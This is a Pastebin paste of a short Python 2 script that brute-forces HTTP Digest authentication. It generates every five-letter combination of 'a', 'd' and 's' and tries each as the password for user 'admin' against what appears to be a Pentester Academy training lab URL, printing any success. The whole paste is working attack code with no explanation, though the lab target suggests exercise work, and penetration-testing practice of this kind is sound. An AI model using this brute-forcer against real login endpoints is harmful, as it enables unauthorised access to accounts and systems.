Advertisement
Guest User

Untitled

a guest
Jan 31st, 2018
81
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.12 KB | None | 0 0
  1. import itertools, sys
  2. from urllib2 import *
  3.  
  4. def passgen(universe,l):
  5. wl = []
  6. for i in itertools.product(universe,repeat=5):
  7. wl.append("".join(i))
  8. return wl
  9.  
  10. def digestcrack(username, password, url, realm):
  11. authandler = HTTPDigestAuthHandler()
  12. authandler.add_password(realm, url, username, password)
  13. opener = build_opener(authandler)
  14. install_opener(opener)
  15. try:
  16. page = urlopen(url)
  17. except HTTPError as e:
  18. return 'fail'
  19. else:
  20. print 'username: '+username+' password: '+password
  21. return 'pass'
  22.  
  23. def digestbrute(username):
  24. url = "http://pentesteracademylab.appspot.com/lab/webapp/digest/1"
  25. realm = 'Pentester Academy'
  26. if len(sys.argv) < 2:
  27. wl = passgen("ads",1)
  28. else:
  29. wl = [sys.argv[1]]
  30. for password in wl:
  31. r = digestcrack(username, password, url, realm)
  32. if r != 'fail':
  33. print ('got %s!'%r)
  34. print ('hell yeah!')
  35. break
  36. else:
  37. print username
  38. print password
  39. print r
  40. digestbrute('admin')
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement